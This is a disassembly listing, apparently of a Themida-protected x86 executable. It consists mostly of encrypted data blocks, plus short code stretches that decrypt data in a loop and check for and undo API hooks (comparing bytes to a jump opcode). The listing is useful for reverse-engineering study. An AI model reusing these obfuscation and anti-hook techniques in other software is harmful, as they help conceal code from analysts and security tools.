		dd 24DB8C75h, 22321566h, 6288156Eh, 0B1BB40CCh,	0EB9FCEFh
		dd 15F69442h, 87321566h, 44321FE2h, 2237FC66h, 35371566h
		dd 9CF5199h, 8438C6A7h,	0C8F39441h, 38299F39h, 62DB949Fh
		dd 0C5299F39h, 0E238C68Fh, 1135FC41h, 8CA01566h, 43FB6D29h
		dd 26DE96C5h, 0AA1609EFh, 88321563h, 0B169CC4Fh, 9298A437h
		dd 397C11F5h, 0D17C39AEh, 0CC3DBF9Ah, 22321565h, 4153ED06h
		dd 886A040Eh, 603E9C66h, 0D7C74C3Eh, 1139FCCDh,	0B1E1566h
		dd 0D9CBF842h, 0EF36DD7Bh, 0C381FCEBh, 0DBC7EA99h, 52277D31h
		dd 0A36D1142h, 484518A9h, 0AD59435h, 0C523086Eh, 3A1E6E81h
		dd 11F5940Ch, 1CDFD66h,	0B7334A9Dh, 0DE6916ECh,	953DFD5Ah
		dd 88321520h, 4BF39E06h, 7353ECD9h, 9F1A09DFh, 9E3E251h
		dd 8F5C99A7h, 3288477Bh, 53760C0Ah, 0AD90FFE7h,	951B48BAh
		dd 7BFA9C3Ch, 11321C8Fh, 0E09C4666h, 0DEABC2FEh, 4BDBF630h
		dd 0F8321567h, 88321560h, 0FC08611Dh, 0BF5A8783h, 98321545h
		dd 86DB317Ah, 0B6321566h, 7040D182h, 0E405A30Bh, 0D37EBF6Bh
		dd 5ED7D93h, 16BB1566h,	9C3D4E42h, 88321567h, 2C62479Fh
		dd 50AC1E6Eh, 4BA7303Eh, 89075D7Fh, 0CD720D6Ch,	0D0334DA4h
		dd 1E680F65h, 883214E8h, 1662EC66h, 223210DCh, 4BE29C66h
		dd 716AD667h, 0CD36F9E5h, 0CA87316Ah, 0F86BFDEEh, 8832156Ah
		dd 96911C8h, 0B8D0BCBFh, 0A411CBE7h, 3062E0CCh,	534E4F3Ch
		dd 0B6AD64Fh, 4BF1949Dh, 8725693Ch, 443212E5h, 23B31A66h
		dd 0ED321566h, 8836A833h, 0AF1B1566h, 0A11639EDh, 9A5211A2h
		dd 29E795BCh, 0A8B34507h, 22321562h, 491609EFh,	9788753Dh
		dd 0AD4DBE49h, 22321561h, 22EB8291h, 0E9E87226h, 0C55475CDh
		dd 0CA06A4B9h, 11321574h, 83AA6ADh, 7FBCADEBh, 6811B0E5h
		dd 2D2879C1h, 47B2312Bh, 0CF534A69h, 0AB62317Ah, 11361086h
		dd 48B11566h, 60369262h, 2237FC3Ah, 0F80A1566h,	874C4692h
		dd 443218E4h, 223AFC66h, 3EE21566h, 0EC548E66h,	0FC62FB58h
		dd 22321563h, 15B9D367h, 8CF69442h, 4B321566h, 22321DECh
		dd 913D7566h, 88321566h, 735A4407h, 7B13E96Eh, 7274D4E7h
		dd 37650214h, 6E7A44FAh, 0E36DEC67h, 0D0B3168Fh, 7BBB3D38h
		dd 0B86BDDEFh, 0A35475A5h, 0E971F9A6h, 95D97D07h, 48BB1566h
		dd 28BC1A42h, 71321566h, 0AD659EDDh, 0B6B9733Ah, 14CD7307h
		dd 35369E00h, 8830D1E7h, 24521566h, 22329269h, 90541566h
		dd 0E97AF38Eh, 44319469h, 953D1566h, 0D20E74B1h, 89649169h
		dd 0FA521566h, 0C104490h, 78E89400h, 8DDB74BCh,	0C7321566h
		dd 8D86A37Eh, 953DDE5Ah, 8832145Eh, 4BF02993h, 22337DE2h
		dd 903DED66h, 8832156Bh, 44B51A06h, 98321566h, 68C4B940h
		dd 87F82907h, 443359E2h, 2223FC66h, 83E81566h, 0C07ABCAh
		dd 8D24FCECh, 9259CA43h, 7114957Dh, 8DDA449Ah, 36321566h
		dd 0B748DF60h, 77534A3Fh, 8717EA5Bh, 44335AE2h,	0A9547566h
		dd 12B21AB5h, 87321566h, 0AD53C5D9h, 22321568h,	0B9CB8B3Ah
		dd 10CE30F2h, 0E259B05Dh, 1F540535h, 943DEA48h,	8832150Bh
		dd 0ADC29E06h, 22321560h, 0B2C0ABD5h, 0D953F5F9h, 443217DFh
		dd 71C31466h, 113215DDh, 2F91466h, 0AD6B4E65h, 2232156Dh
		dd 2BC434DEh, 0EE9FC6B4h, 0ADE3E3B0h, 22321560h, 0C6FD1E49h
		dd 64B3B920h, 44321562h, 901601EFh, 21C095A6h, 6168C546h
		dd 44321563h, 22FDEB47h, 1E92291Dh, 8832E1E2h, 42BC1A66h
		dd 42321566h, 0E9C29E00h, 0AC06EA07h, 40F6943Fh, 2D321566h
		dd 113200ECh, 8822FC66h, 8251566h, 138C05D0h, 85776D3Dh
		dd 3B3B4366h, 0FF61B2A0h, 22321566h, 0F8694D35h, 88321568h
		dd 3307A95h, 0AE1F0EDDh, 0D8528529h, 0E0DBE3F9h, 24321567h
		dd 4330CAE6h, 1CDBDC57h, 0EB321566h, 24CE5842h,	0CF2440E3h
		dd 9645CC85h, 8833AA31h
		dd 0BD331566h, 223BFC39h, 354A1566h, 59B59CE6h,	0AD6FF866h
		dd 223215E4h, 77F09E06h, 8EBECDE7h, 44317D07h, 2EB91566h
		dd 15F69442h, 87321566h, 443206E5h, 223CFC66h, 9E7F1566h
		dd 0F3ED60A6h, 801ACE4Ch, 197C0410h, 1132588Fh,	89B81A66h
		dd 0B1321566h, 96656DDFh, 13D3D47Ch, 8C5EAE35h,	0B37166E6h
		dd 57C194BDh, 20D4BBC0h, 0EE524EBFh, 0FD0CE4DFh, 62AD5567h
		dd 112EFC07h, 83D1566h,	44321567h, 22357D93h, 1DB91566h
		dd 8CF69642h, 86B37306h, 0A954824Ah, 0B5C174A0h, 88321D8Fh
		dd 700DCF66h, 56C6F9F1h, 9CB9EDCBh, 8E210F63h, 42DB4406h
		dd 32321566h, 0ABA17C55h, 0E8524A5Dh, 443DFC07h, 0B4901566h
		dd 4FF89704h, 59E3F386h, 379B8DCCh, 0A753746Fh,	0FB71AAFh
		dd 0E8321566h, 4C57AB00h, 4352E906h, 0A4BB7407h, 8E210F63h
		dd 44359C69h, 0AD3D1566h, 11321567h, 0AC3E9E9Ah, 41D29C36h
		dd 22321562h, 11321163h, 0AC369266h, 0CF54753Ah, 0E38D1AA1h
		dd 5D2AD07h, 58C5375Bh,	0AC1B5653h, 171F5558h, 470C6653h
		dd 45785AD8h, 1AC22456h, 58F57353h, 1DB41AF2h, 87321566h
		dd 443213E1h, 22BC1A66h, 0D2321566h, 88321B8Fh,	0D5FDE066h
		dd 0C6A58991h, 0CF03DE2Dh, 0EEF5CCB5h, 0CF542399h, 0E6B33162h
		dd 11321564h, 3F3D7506h, 978D1A96h, 6FD09407h, 700F0254h
		dd 0C3DD65Ah, 443214D1h, 22339469h, 40C71566h, 63BAD0EEh
		dd 0C51619EDh, 223211A2h, 0A360E066h, 3E13596h,	80B13172h
		dd 2220FC62h, 0F591566h, 21DD9CDEh, 0C5F0874Eh,	5BB7F950h
		dd 342B9F72h, 8742EEE6h, 44362DE2h, 25B81A66h, 71321566h
		dd 373DF9ECh, 0AD0E74BDh, 23539169h, 16DB1566h,	49321566h
		dd 26BCB458h, 0A33D752Ch, 1132157Eh, 8832068Fh,	0DDAAAF66h
		dd 6E2C42D3h, 9F4DF009h, 0F148B376h, 0B0437B5h,	0A63DFE5Ah
		dd 11321449h, 0D765EC06h, 4BF02907h, 223337E2h,	1126FC66h
		dd 0D5511566h, 5C011B1h, 3F06283Bh, 717F55FFh, 64EA1A8Ah
		dd 8F0E7BC1h, 23339169h, 9F3D1566h, 88321579h, 442B9F69h
		dd 36DB1566h, 15321566h, 8C4D2E3Ch, 0B3497FBCh,	8EC200B0h
		dd 0BC04A72h, 0EE802CA4h, 4B17EA5Bh, 2232C7E2h,	19B81A66h
		dd 0E8321566h, 4BFDA269h, 1E53D3D9h, 0ADB61AACh, 87321566h
		dd 443214E2h, 0C10EE066h, 125D9169h, 0EEC71566h, 4BCD3B5Bh
		dd 223228E3h, 7960ED66h, 88321564h, 0CEC0143Ch,	9C524F64h
		dd 6FE57Fh, 78834407h, 48B9DD46h, 26F69642h, 1E92299Fh
		dd 88326FE2h, 4422FC66h, 0C4361566h, 707B886Bh,	0D80B85D8h
		dd 9BF96C24h, 9D654997h, 4D673CA6h, 77D59429h, 0C560E27Bh
		dd 773BAA91h, 3DB34236h, 9F45AB42h, 0FA374D7Eh,	7D2A0211h
		dd 112F9569h, 73D1566h,	44321571h, 2232078Fh, 8C443D66h
		dd 551153C2h, 5DCBF40Eh, 8287AD0Ch, 0F88B3389h,	883215FAh
		dd 44279A69h, 32DB1566h, 0D4321566h, 0D4ECE591h, 3A66A143h
		dd 5B3A17D0h, 98CAD8D7h, 9B2810D3h, 0D9BFEC60h,	242B82A4h
		dd 11229D69h, 13D1566h,	4432156Ch, 2232108Fh, 0EA651D66h
		dd 5BCD9876h, 442D9F69h, 0A43D1566h, 1132157Fh,	8832018Fh
		dd 0F9D51766h, 6B1107FEh, 7980F859h, 689F9CAh, 10917472h
		dd 2234FCB9h, 986D1566h, 10BF7512h, 4436F9E7h, 3EBB1566h
		dd 17B77D42h, 0C3696C71h, 0BD4FD6E7h, 0FABB938Eh, 17DB753Dh
		dd 36321566h, 48EE7816h, 68F09444h, 700347CDh, 8835FCA5h
		dd 278B1566h, 0DD3500F1h, 3C977D67h, 8CBB1566h,	48B21A42h
		dd 42321566h, 89EC47D9h, 46B37377h, 1653970Ah, 223205DCh
		dd 40D89466h, 8917383Bh, 15F09494h, 0A917383Bh,	14DB4F64h
		dd 29321566h, 592527DEh, 3F8390EFh, 0EECB1375h,	96A3152h
		dd 443211A2h, 2226FC66h, 0E821566h, 0DF7B7EA0h,	50E5F8E4h
		dd 3F6CA47Eh, 0E9393FEDh, 3260E421h, 4432157Ah,	7745D3E7h
		dd 0C73374EAh, 0DD45FBE7h, 0BD6874EAh, 3B67A8EBh, 1FDB1375h
		dd 9C321566h, 581F7E3Ch, 0E90DE21Ch, 0E3312C93h, 8DC7B850h
		dd 0D4276E1h, 69548563h, 35761675h, 0EEA23842h,	0C31F062Dh
		dd 2D7B6505h, 11321FE6h, 8837FC66h, 29091566h, 89C7FA63h
		dd 508F989Eh, 61340654h, 44321577h, 9C69AACFh, 0DBCFE38Ch
		dd 0B5EFC369h, 0A7FB39D2h, 9952B8F3h, 11FF8897h, 8832058Eh
		dd 40A43966h, 0F10DDA65h, 3C42EBCEh, 51B799A5h,	4421FC17h
		dd 832B1566h, 0E9DCBF31h, 0F8055E36h, 9EF5380Ah, 110313ADh
		dd 14534B5Eh, 0C51661D0h, 60165165h, 0DDCAB30h,	0F7F34A47h
		dd 7FECE26Eh, 0A7F494B0h, 0E32EC93Bh, 0FFB31788h, 4A6C8B24h
		dd 0AD6CE54Fh, 22321576h, 0E54D7EFAh, 0BCBB0A7Fh, 5E233F2Fh
		dd 0A0E58EC9h, 90D49C30h, 883211A0h, 40DC9466h,	0A5321566h
		dd 986E3152h, 98DB3162h, 6B321566h, 5D022423h, 94E5F145h
		dd 95489754h, 4B086E29h, 223203ECh, 9A547566h, 8839FDACh
		dd 572A1566h, 56A78E83h, 77B99C4Ah, 23534D72h, 44399169h
		dd 44521566h, 770E38D8h, 40D5D3E7h, 958F9807h, 2D340662h
		dd 113214EBh, 709FE966h, 7AA31h, 0DA3314A7h, 35761639h
		dd 0CC07384Eh, 0EFCE14A7h, 90C39F06h, 25B9744Bh, 6ABB4742h
		dd 4436D7E7h, 0E0B11566h, 35269262h, 8826FC3Ah,	0BB881566h
		dd 8D90587Ch, 0CA349095h, 0F93DEEA2h, 38930944h, 2DDB0D63h
		dd 0B7321566h, 0C5F81E0Ah, 0EFB9C9B4h, 6A4C9BE3h, 71F1E3FAh
		dd 88309C69h, 1E651566h, 2232188Eh, 5B2D9166h, 3FACE77Dh
		dd 1C6AD1FCh, 638C1DEAh, 497CD314h, 6BBB4607h, 4436D6E7h
		dd 0C9B11566h, 352E9262h, 0AC069C3Ah, 4432198Fh, 0E7A61D66h
		dd 0B614C09Ch, 81B5E41Eh, 46AF9814h, 0CB340CF1h, 1132156Dh
		dd 0AA024B7Ch, 0E75D2F43h, 0DD10E0ACh, 0D7B375B5h, 0E775AD32h
		dd 0B8A2FC07h, 2ADBEA99h, 8A321566h, 0D7B8BF3Dh, 0DFA0460Eh
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0F8D9C0D5h, 0ED96A45Fh
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 907B2BCEh,	32DCF143h
		dd 8C0F448Ch, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 0C64038C8h, 7462C4Eh, 0B23F7ADFh, 3C6D552h, 92B85E00h
		dd 75152A54h, 0DDAEAE30h, 978FA75Ch, 0FB57B82Bh, 0E4CDB0D9h
		dd 7BAEA45Fh, 63E96FDDh, 0A851A258h, 75195FABh,	32DCAA30h
		dd 8C0F447Dh, 70CB2F16h, 7513303Ah, 54142B96h, 8A152ABDh
		dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 2AE90000h,	0C7000000h
		dd 2404h, 0E80000h, 5D000000h, 73A8ED81h, 448B061Ah, 85890424h
		dd 61304C5h, 0B8h, 8D8D8D00h, 0FF06134Fh, 6754B8E1h, 0CEB0000h
		dd 4324FFE0h, 38BC570Ah, 80DE1881h, 585E9h, 579E900h, 12A00000h
		dd 0F2446644h, 85C7E5Ch, 0ED3E6442h, 0D05D4363h, 38F72684h
		dd 0F0CE86D3h, 0FAD87ACAh, 0E5C583D8h, 0FCDA72C3h, 217DF0EFh
		dd 0EA16B828h, 6CBD8BB7h, 0DA6D51E0h, 6DFBDF6Eh, 0E37254E5h
		dd 4FDEE071h, 0C1123405h, 2207308Fh, 0F357E94Eh, 4BAA7BCCh
		dd 4CE0E281h, 0DB6B6FFEh, 8D6B5473h, 0F1F277A5h, 0E485C919h
		dd 694E8DDCh, 0C91BC5F8h, 8C901A81h, 233E7A42h,	44634463h
		dd 9E74B511h, 0B5C7E10h, 6D9C2445h, 168887B8h
		dd 280FACF1h, 0E77F479Dh, 5615DF98h, 4C6AE074h,	0E978D266h
		dd 8A2F5598h, 13A8EA4Fh, 65EF3E64h, 83E7795Bh, 0A4F305E9h
		dd 9CE4CB8Bh, 0BAB13247h, 45EA23BBh, 2D6B3D48h,	0C308EF6Ch
		dd 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h, 0E0B13256h
		dd 9470D8D7h, 21BE344Fh, 57B13253h, 0E9836036h,	0B0A4F305h
		dd 0F29D11F1h, 2375FD7Ah, 0C77417FBh, 0D525FB60h, 0ADFDF53Fh
		dd 916F8496h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 9E987C27h, 0A073E701h, 830C8EFFh, 0A4F305E9h, 0BD8DDB8Bh
		dd 61A94D9h, 1A298D8Dh,	44B8061Bh, 2B321566h, 2E9C1CFh
		dd 0C8D00731h, 4904C783h, 0DE9F675h, 81000000h,	492EE38Ch
		dd 982B1E5Ch, 24BB1240h, 1840Fh, 53FC0000h, 0D889C389h
		dd 81241C8Bh, 4C4h, 890F6000h, 16h, 11E9h, 18521F00h, 5D5FE58Fh
		dd 403FC6FBh, 0CCC67673h, 0F861F741h, 1625BD83h, 75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 11B8C08Bh, 89000004h
		dd 13311585h, 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh
		dd 17740006h, 11B85350h, 89000004h, 13311585h, 859D8D06h
		dd 0FF0615A6h, 0E9585BD3h, 0Ch,	59E61893h, 77283422h, 6012EF0Ch
		dd 0CE9F5h, 0C6510000h,	0D5ED48A5h, 0A1573E7Fh,	8956B1E5h
		dd 0F78957C6h, 5E5FF889h, 6E9h,	9CD06A00h, 0F8BD1CFEh
		dd 1E238D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 7AB4E3C3h, 0A312185Fh, 14B4FC7Fh
		dd 1BBD8D89h, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 85FB8AC3h, 8305895Eh, 9B52960h
		dd 8906130Fh, 1318B985h, 85C76106h, 61318DDh, 62C4h, 0A2D8D89h
		dd 85C70613h, 6133055h,	0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5FE0AF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FE0AF	proc near		; CODE XREF: Themida_:005FE0A7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5FE0AF	endp

; ---------------------------------------------------------------------------
		push	0FFFFFFE6h
		pop	ebx
		aaa
		and	byte ptr [edx],	0D5h
		pop	esi
		sbb	ecx, edx
		mov	edi, [ebp+6132C4Dh]
		push	dword ptr [ebp+6132101h]
		sub	ax, 0D56Dh
		call	dword ptr [ebp+6131D89h]
		add	ebx, [ebp+613113Dh]
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_5FE12A
; ---------------------------------------------------------------------------
		dw 0A24Ch
		dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah
		dd 0F072E251h, 0C9EB4883h, 0EFCFB3A0h, 99D50F1Fh, 61953608h
		dd 0A3CC68D2h, 604404D1h, 2AE0F27Dh
		db 72h,	48h
; ---------------------------------------------------------------------------


loc_5FE12A:				; CODE XREF: Themida_:005FE0F0j
		call	near ptr sub_5FE13E
		adc	al, 0Dh
		push	ebx
		mov	eax, ds:0BC6E8409h
		xor	[eax+56D8895Bh], dl
		xchg	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_5FE13E	proc far		; CODE XREF: Themida_:loc_5FE12Ap

; FUNCTION CHUNK AT 0058442C SIZE 00000047 BYTES

		mov	edi, [ebp+61312B1h]
		pop	edx
		jmp	loc_5FE159
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h
; ---------------------------------------------------------------------------
		aaa


loc_5FE159:				; CODE XREF: sub_5FE13E+7j
		add	edx, 6024h
		cmc
		sub	eax, eax
		or	cx, 5F6Bh


loc_5FE167:				; CODE XREF: sub_5FE13E+89j
		mov	esi, [edx+eax]
		jno	loc_5FE176
		mov	[ebp+6131DADh],	esi


loc_5FE176:				; CODE XREF: sub_5FE13E+2Cj
		sub	esi, 626F7794h
		jmp	loc_5FE194
; ---------------------------------------------------------------------------
		db 0CDh, 0BFh, 1Fh
		dd 5BB1BF1Fh, 0A7C4B7F8h, 6440BA36h, 63065D60h
; ---------------------------------------------------------------------------


loc_5FE194:				; CODE XREF: sub_5FE13E+3Ej
		sub	esi, 180286F3h
		adc	ecx, 2DC00B2Fh
		sub	esi, 210A6A58h
		sub	ecx, [ebp+6132301h]
		mov	[edx+eax], esi
		mov	cx, si
		mov	[ebp+6131FF5h],	ecx
		sub	eax, 4
		mov	[ebp+6130705h],	edi
		cmp	eax, 0FFFFA07Ch
		jnz	loc_5FE167
		xor	[ebp+6131045h],	esi
		jmp	loc_5FE2C5
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_5FE2C3
		mov	esi, [ebp+6132EB5h]
		cmp	esi, 0
		jnz	loc_5FE215
		mov	byte ptr [ebp+61311E1h], 45h
		push	8E726969h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6167C33h]
		call	eax
		mov	[ebp+6131CBDh],	eax
		mov	esi, eax


loc_5FE215:				; CODE XREF: sub_5FE13E+AFj
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5FE24F
		lea	eax, [ebp+61887E0h]
		call	eax
		mov	edi, [ebp+61329C5h]
		add	edi, 1184h
		mov	esi, [ebp+6132EB5h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+6132EB5h]
		lea	eax, [ebp+616BD3Ah]
		call	eax


loc_5FE24F:				; CODE XREF: sub_5FE13E+DAj
		mov	esi, [ebp+61313F1h]
		cmp	esi, 0
		jnz	loc_5FE280
		mov	byte ptr [ebp+61311E1h], 54h
		push	0FF4EBEF4h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6167C33h]
		call	eax
		mov	[ebp+61313F1h],	eax
		mov	esi, eax


loc_5FE280:				; CODE XREF: sub_5FE13E+11Aj
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5FE2C3
		mov	esi, [ebp+61313F1h]
		lea	eax, [ebp+61887E0h]
		call	eax
		mov	edi, [ebp+61329C5h]
		add	edi, 1184h
		add	edi, 8
		mov	esi, [ebp+61313F1h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+61313F1h]
		lea	eax, [ebp+616BD3Ah]
		call	eax


loc_5FE2C3:				; CODE XREF: sub_5FE13E+A0j
					; sub_5FE13E+145j
		popa
		retn
; ---------------------------------------------------------------------------


loc_5FE2C5:				; CODE XREF: sub_5FE13E+95j
		lea	eax, [ebp+61B1F0Eh]
		mov	[ebp+6130B31h],	eax
		jmp	loc_5FE2E1
; ---------------------------------------------------------------------------
		dw 0A551h
		dd 601Fh, 0
		db 0
; ---------------------------------------------------------------------------


loc_5FE2E1:				; CODE XREF: sub_5FE13E+193j
		jmp	loc_5FE79A
; ---------------------------------------------------------------------------
		push	61B213Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B21ADh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B22EDh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		imul	dword ptr [ebx-15h]
		retf
; ---------------------------------------------------------------------------
		dd 0D9F955E5h, 0C5E565F7h, 0DEFC54E3h, 0C7E76DFCh, 0A3325BD4h
		dd 0A12F11B1h, 9C2F11B1h, 992C0EACh, 94613B3h, 0B8D57AD4h
		dd 0F1CE4316h, 87D67AC9h, 0BD24BE06h, 7155E470h, 3783A6E0h
		dd 0A025C91h, 4ACB109Eh, 2668A865h, 42276747h, 9BF66744h
		dd 64168EC9h, 4CC1C95Eh, 0A8AC7D2h, 7A1B7A9Bh, 0C83C9AEBh
		dd 0F7930A8Ah, 0F99A5A82h, 567C5AACh, 1B824A04h, 2D2h
		dd 0BDE5C23Fh, 3455E470h, 9DB4C945h, 40B59210h,	109DB4C6h
		dd 656F0E8Fh, 2148696Fh, 0D4644665h, 26AEEF7Eh,	0A625C439h
		dd 0D736168Eh, 99CCEB34h, 0A8AA33Dh, 3A94C906h,	30A8AA3h
		dd 0AAD9E382h, 0E7E5C1A3h, 3D348CD5h, 93BD723h,	70E5C2A3h
		dd 1315FA7Dh, 4A005476h, 6AFB9AFBh, 5473134Eh, 2D14C21h
		dd 6340C50Dh, 0C1CE5E44h, 3781E074h, 2A88C415h,	7FD4B508h
		dd 1AB5A8C9h, 237684BFh, 2E04984h, 6DF90000h, 57E7C9E9h
		dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch
		dd 1FBF9321h, 4A2A639h,	0E1C18B1Eh, 0C86F7D8h, 0D516B8D6h
		dd 0BEA3A2BCh, 2C7AEBC8h, 0DD168695h, 89E864F5h, 95B3082Ah
		dd 9D2C0E4Bh, 0A43117B7h, 2884DCEAh, 39582472h,	0B5072B28h
		dd 6145C495h, 13727ACEh, 0E94733B0h, 7AEF5DF0h,	80089EA3h
		dd 6F3411D8h, 6A000002h, 765C7ADCh, 664C6AE4h, 785A78D2h
		dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h
		dd 2824B59Bh, 6F9EC18Ah, 16B8D5F3h, 0C2F965BCh,	0B8004EE0h
		dd 8221657Ch, 86950353h, 51B416h, 82951171h, 54004D0Ah
		dd 0DD71C105h, 6F0C868Ch, 36D33F86h, 0A5064616h, 17CEE5Ah
		dd 0EED10000h, 0A3D278CCh, 0A829D27h, 9CB12D60h, 1B7A0A82h
		dd 55FFC94Ch, 0C3E06CBDh, 0B7D74DDCh, 0A32D62A5h, 9DAF0244h
		dd 9EE8013Dh, 0AB3C1E41h, 6B7594A5h, 8F0CE11Ch,	1A2B6A16h
		dd 8B096BEBh, 0B295C20Ah, 8B08C743h, 0C30D900Ah, 0CC8CB049h
		dd 745AACB2h, 38h, 0C8BEA3CAh, 989B7AEBh, 296C168Eh, 0C8173B18h
		dd 41C14088h, 980A8A89h, 756B94BBh, 4FF493A5h, 4E6E0B85h
		dd 5AADC28Eh, 0C41E4F70h, 8D0A89D8h, 9B59C008h,	0FD000000h
		dd 51E06CBDh, 4FFD5072h, 8B065385h, 4E00523Dh, 46714E2Fh
		dd 0AA20C7FCh, 49982009h, 0C998B405h, 0BA183485h, 9E37A94Bh
		dd 0B4982910h, 0B7CF1A16h, 0AD9F3218h, 66737D9Ch, 889481F7h
		dd 0C01F7E16h, 0A9094B9Ah, 671A3A87h, 800E91A0h, 2F2F2AC1h
		dd 0AA000001h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
		dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h,	68E4755Bh
		dd 2F5E814Ah, 16B8D6B3h, 0C239257Ch, 0B90351E0h, 0AC0A4A97h
		dd 98B7A48Bh, 0F8DBB51h, 0A4293C5h, 6CBD0EACh, 0DC6D51E0h
		dd 0B565270h, 0E3765C7Bh, 2FB9D869h, 0FBDEB322h, 2807168Eh
		dd 8A6659B5h, 0D9E3220Ah, 88AA098Ch, 0CB4A1B39h, 5FEED401h
		dd 9AAB9D32h, 49BC1A7Bh, 0A8A65C9h, 3A98B405h, 0BA8BC918h
		dd 0A19Fh, 459AC000h, 0D061EF40h, 81D0B1h, 0BEA31EB8h
		dd 287AEBC8h, 0E1168695h, 1F401FBCh, 829574EEh,	0A9D83D0Ah
		dd 0A82952Dh, 9E4D97F6h, 0CE6029BCh, 0DFC1E180h, 706FFE4Eh
		dd 94C41E4Fh, 428D0A82h, 4A6629AAh, 0EBF59464h,	7D5E8E9Ch
		dd 0C237BB70h, 9C002A15h, 0B665E114h, 0EF2EA47Ch, 934C89C8h
		dd 7CF8E862h, 0D6CB1A4h, 0C4091C3h, 1AA991AEh, 0DEE62736h
		dd 52E369FCh, 5271DF70h, 0F8860075h, 0CE4FA47Ch, 0FF716706h
		dd 0C785D88Ah, 17E1C6E7h, 0D60305E5h, 72C315DFh, 34E8BDAh
		dd 0F4000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h
		dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h,	2ABC9EAFh
		dd 51221524h, 0C181E189h, 4, 4E981h, 0C870000h,	14895C24h
		dd 5786824h, 1C890000h,	0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 83243489h, 48904ECh, 203AB824h, 0C389061Bh
		dd 4EC8158h, 89000000h,	4832424h, 835E0424h, 1C8904ECh
		dd 24348124h, 1B5E2678h, 8108468Fh, 26780876h, 34FF1B5Eh
		dd 0C4815E24h, 4, 5B2434FFh, 4C481h, 0A1E90000h, 21FFF85Ch
		dd 8D3B80E6h, 4FA99C51h, 3053C6D7h
		db 1, 4Ah
; ---------------------------------------------------------------------------


loc_5FE79A:				; CODE XREF: sub_5FE13E:loc_5FE2E1j
		mov	eax, 61B2441h
		add	eax, ebp
		jmp	eax
sub_5FE13E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F2h
		dd 7036D392h, 0D143C3BFh, 3B59A758h, 8C6B6D37h,	0BD04B286h
		dd 0FF5250E0h, 2748EEAFh, 1A4C27F1h, 0E50A1654h, 0E85A5EA2h
		dd 0Dh,	8473AE0Ch, 5484D38h, 2BE6FA5Ch,	0CE980h, 151A0000h
		dd 759850Ch, 16F884B3h,	0F5AF38Ah, 28Fh, 8177B300h, 6FF4C2h
		dd 4934B900h, 0D0BF0D58h, 6600001Bh, 32FFF28Bh,	0E95862B7h
		dd 0Bh,	0D4688AFDh, 9E8EE5DCh, 81C749FBh, 0F4C333C0h, 10E825h
		dd 61D40000h, 181D6DE3h, 32EA9240h, 6A285161h, 0AE99961h
		dd 28000000h, 0AC05D86Eh, 0C4B4955Bh, 0E8815BC2h, 2D9336C4h
		dd 0E881CB8Ah, 1A361613h, 925CCB81h, 66505B08h,	8F7C1ABBh
		dd 0DB816602h, 0EA81CBD5h, 95550F5h, 0F1C281F9h, 0F095550h
		dd 0F4FC9BFh, 0FFFF8985h, 1810FFFh, 0F9000000h,	265E8D8Dh
		dd 8B66061Bh, 6830FD8h,	8B000000h, 13055185h, 0BD8D8906h
		dd 6A06131Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 742C356h, 0C7167792h, 1318DD85h
		dd 619806h, 79858900h, 0C7061305h, 13305585h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C21CD538h, 66AA389Bh, 0FF622BB8h, 1313D1B5h, 31953306h
		dd 8B061317h, 130C159Dh, 8995FF06h, 2306131Dh, 13003DB5h
		dd 0FF006A06h, 130DA995h, 0EBC08B06h, 2FCFF33Ah, 3008C349h
		dd 88B654ACh, 0CDB06DFCh, 0AA270F81h, 0A0417F9Eh, 0B28392BBh
		dd 0D7D639AEh, 6F989057h, 93721791h, 0F904B455h, 20899326h
